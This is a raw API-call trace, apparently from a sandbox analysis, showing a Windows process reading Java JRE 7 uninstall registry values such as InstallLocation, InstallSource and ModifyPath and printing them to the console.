WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.396] GetConsoleOutputCP () returned 0x1b5 [0149.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.396] __iob_func () returned 0x7fefd702a80 [0149.396] _fileno (_File=0x7fefd702ab0) returned 1 [0149.396] _errno () returned 0x204bb0 [0149.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.396] _errno () returned 0x204bb0 [0149.396] GetFileType (hFile=0x50) returned 0x1 [0149.396] lstrlenW (lpString="20170630") returned 8 [0149.397] GetConsoleOutputCP () returned 0x1b5 [0149.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.397] GetConsoleOutputCP () returned 0x1b5 [0149.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0149.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.397] __iob_func () returned 0x7fefd702a80 [0149.397] _fileno (_File=0x7fefd702ab0) returned 1 [0149.397] _errno () returned 0x204bb0 [0149.397] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.397] _errno () returned 0x204bb0 [0149.397] GetFileType (hFile=0x50) returned 0x1 [0149.397] lstrlenW (lpString="\n") returned 1 [0149.397] GetConsoleOutputCP () returned 0x1b5 [0149.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.397] GetConsoleOutputCP () returned 0x1b5 [0149.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.397] GetProcessHeap () returned 0x3c0000 [0149.397] GetProcessHeap () returned 0x3c0000 [0149.398] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.398] GetProcessHeap () returned 0x3c0000 [0149.398] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.398] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.398] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.398] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x46) returned 0x0 [0149.398] GetProcessHeap () returned 0x3c0000 [0149.398] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x48) returned 0x3d9d00 [0149.398] GetProcessHeap () returned 0x3c0000 [0149.398] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.398] GetProcessHeap () returned 0x3c0000 [0149.398] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x48 [0149.398] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x46 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Java\\jre7\\", pcbData=0x29f780*=0x44) returned 0x0 [0149.398] __iob_func () returned 0x7fefd702a80 [0149.398] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.398] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.398] _fileno (_File=0x7fefd702ab0) returned 1 [0149.398] _errno () returned 0x204bb0 [0149.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.398] _errno () returned 0x204bb0 [0149.398] GetFileType (hFile=0x50) returned 0x1 [0149.398] lstrlenW (lpString=" ") returned 4 [0149.398] GetConsoleOutputCP () returned 0x1b5 [0149.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.398] GetConsoleOutputCP () returned 0x1b5 [0149.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.398] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.398] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.399] lstrlenW (lpString="InstallLocation") returned 15 [0149.399] __iob_func () returned 0x7fefd702a80 [0149.399] _fileno (_File=0x7fefd702ab0) returned 1 [0149.399] _errno () returned 0x204bb0 [0149.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.399] _errno () returned 0x204bb0 [0149.399] GetFileType (hFile=0x50) returned 0x1 [0149.399] lstrlenW (lpString="InstallLocation") returned 15 [0149.399] GetConsoleOutputCP () returned 0x1b5 [0149.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.399] GetConsoleOutputCP () returned 0x1b5 [0149.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.399] __iob_func () returned 0x7fefd702a80 [0149.399] _fileno (_File=0x7fefd702ab0) returned 1 [0149.399] _errno () returned 0x204bb0 [0149.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.399] _errno () returned 0x204bb0 [0149.399] GetFileType (hFile=0x50) returned 0x1 [0149.399] lstrlenW (lpString=" ") returned 4 [0149.399] GetConsoleOutputCP () returned 0x1b5 [0149.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.399] GetConsoleOutputCP () returned 0x1b5 [0149.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.400] __iob_func () returned 0x7fefd702a80 [0149.400] _fileno (_File=0x7fefd702ab0) returned 1 [0149.400] _errno () returned 0x204bb0 [0149.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.400] _errno () returned 0x204bb0 [0149.400] GetFileType (hFile=0x50) returned 0x1 [0149.400] lstrlenW (lpString="REG_SZ") returned 6 [0149.400] GetConsoleOutputCP () returned 0x1b5 [0149.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.400] GetConsoleOutputCP () returned 0x1b5 [0149.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.400] __iob_func () returned 0x7fefd702a80 [0149.400] _fileno (_File=0x7fefd702ab0) returned 1 [0149.400] _errno () returned 0x204bb0 [0149.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.400] _errno () returned 0x204bb0 [0149.400] GetFileType (hFile=0x50) returned 0x1 [0149.400] lstrlenW (lpString=" ") returned 4 [0149.400] GetConsoleOutputCP () returned 0x1b5 [0149.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.401] GetConsoleOutputCP () returned 0x1b5 [0149.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.401] __iob_func () returned 0x7fefd702a80 [0149.401] _fileno (_File=0x7fefd702ab0) returned 1 [0149.401] _errno () returned 0x204bb0 [0149.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.401] _errno () returned 0x204bb0 [0149.401] GetFileType (hFile=0x50) returned 0x1 [0149.401] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0149.401] GetConsoleOutputCP () returned 0x1b5 [0149.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0149.401] GetConsoleOutputCP () returned 0x1b5 [0149.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\", cchWideChar=33, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Java\\jre7\\", lpUsedDefaultChar=0x0) returned 33 [0149.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 33 [0149.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.401] __iob_func () returned 0x7fefd702a80 [0149.401] _fileno (_File=0x7fefd702ab0) returned 1 [0149.401] _errno () returned 0x204bb0 [0149.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.401] _errno () returned 0x204bb0 [0149.401] GetFileType (hFile=0x50) returned 0x1 [0149.401] lstrlenW (lpString="\n") returned 1 [0149.402] GetConsoleOutputCP () returned 0x1b5 [0149.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.402] GetConsoleOutputCP () returned 0x1b5 [0149.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.402] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.402] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x48 [0149.402] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0149.402] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.402] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x74) returned 0x0 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x76) returned 0x3db830 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.402] GetProcessHeap () returned 0x3c0000 [0149.402] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x76 [0149.402] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x74 | out: pdwType=0x29f700*=0x1, pvData="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\", pcbData=0x29f780*=0x72) returned 0x0 [0149.402] __iob_func () returned 0x7fefd702a80 [0149.402] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.402] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.402] _fileno (_File=0x7fefd702ab0) returned 1 [0149.403] _errno () returned 0x204bb0 [0149.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.403] _errno () returned 0x204bb0 [0149.403] GetFileType (hFile=0x50) returned 0x1 [0149.403] lstrlenW (lpString=" ") returned 4 [0149.403] GetConsoleOutputCP () returned 0x1b5 [0149.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.403] GetConsoleOutputCP () returned 0x1b5 [0149.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.403] lstrlenW (lpString="InstallSource") returned 13 [0149.403] __iob_func () returned 0x7fefd702a80 [0149.403] _fileno (_File=0x7fefd702ab0) returned 1 [0149.403] _errno () returned 0x204bb0 [0149.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.403] _errno () returned 0x204bb0 [0149.403] GetFileType (hFile=0x50) returned 0x1 [0149.403] lstrlenW (lpString="InstallSource") returned 13 [0149.403] GetConsoleOutputCP () returned 0x1b5 [0149.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.403] GetConsoleOutputCP () returned 0x1b5 [0149.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0149.404] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.404] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.404] __iob_func () returned 0x7fefd702a80 [0149.404] _fileno (_File=0x7fefd702ab0) returned 1 [0149.404] _errno () returned 0x204bb0 [0149.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.404] _errno () returned 0x204bb0 [0149.404] GetFileType (hFile=0x50) returned 0x1 [0149.404] lstrlenW (lpString=" ") returned 4 [0149.404] GetConsoleOutputCP () returned 0x1b5 [0149.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.404] GetConsoleOutputCP () returned 0x1b5 [0149.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.404] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.404] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.404] __iob_func () returned 0x7fefd702a80 [0149.404] _fileno (_File=0x7fefd702ab0) returned 1 [0149.404] _errno () returned 0x204bb0 [0149.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.404] _errno () returned 0x204bb0 [0149.404] GetFileType (hFile=0x50) returned 0x1 [0149.404] lstrlenW (lpString="REG_SZ") returned 6 [0149.404] GetConsoleOutputCP () returned 0x1b5 [0149.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.405] GetConsoleOutputCP () returned 0x1b5 [0149.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.405] __iob_func () returned 0x7fefd702a80 [0149.405] _fileno (_File=0x7fefd702ab0) returned 1 [0149.405] _errno () returned 0x204bb0 [0149.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.405] _errno () returned 0x204bb0 [0149.405] GetFileType (hFile=0x50) returned 0x1 [0149.405] lstrlenW (lpString=" ") returned 4 [0149.405] GetConsoleOutputCP () returned 0x1b5 [0149.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.405] GetConsoleOutputCP () returned 0x1b5 [0149.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.405] __iob_func () returned 0x7fefd702a80 [0149.405] _fileno (_File=0x7fefd702ab0) returned 1 [0149.405] _errno () returned 0x204bb0 [0149.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.406] _errno () returned 0x204bb0 [0149.406] GetFileType (hFile=0x50) returned 0x1 [0149.406] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\") returned 56 [0149.406] GetConsoleOutputCP () returned 0x1b5 [0149.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0149.406] GetConsoleOutputCP () returned 0x1b5 [0149.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\", cchWideChar=56, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_71\\", lpUsedDefaultChar=0x0) returned 56 [0149.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 56 [0149.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.406] __iob_func () returned 0x7fefd702a80 [0149.406] _fileno (_File=0x7fefd702ab0) returned 1 [0149.406] _errno () returned 0x204bb0 [0149.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.406] _errno () returned 0x204bb0 [0149.406] GetFileType (hFile=0x50) returned 0x1 [0149.406] lstrlenW (lpString="\n") returned 1 [0149.406] GetConsoleOutputCP () returned 0x1b5 [0149.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.406] GetConsoleOutputCP () returned 0x1b5 [0149.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x76 [0149.407] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.407] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.407] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.407] GetProcessHeap () returned 0x3c0000 [0149.407] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.407] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.407] __iob_func () returned 0x7fefd702a80 [0149.407] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.407] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.407] _fileno (_File=0x7fefd702ab0) returned 1 [0149.407] _errno () returned 0x204bb0 [0149.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.407] _errno () returned 0x204bb0 [0149.407] GetFileType (hFile=0x50) returned 0x1 [0149.407] lstrlenW (lpString=" ") returned 4 [0149.407] GetConsoleOutputCP () returned 0x1b5 [0149.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.407] GetConsoleOutputCP () returned 0x1b5 [0149.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.408] fprintf (in: 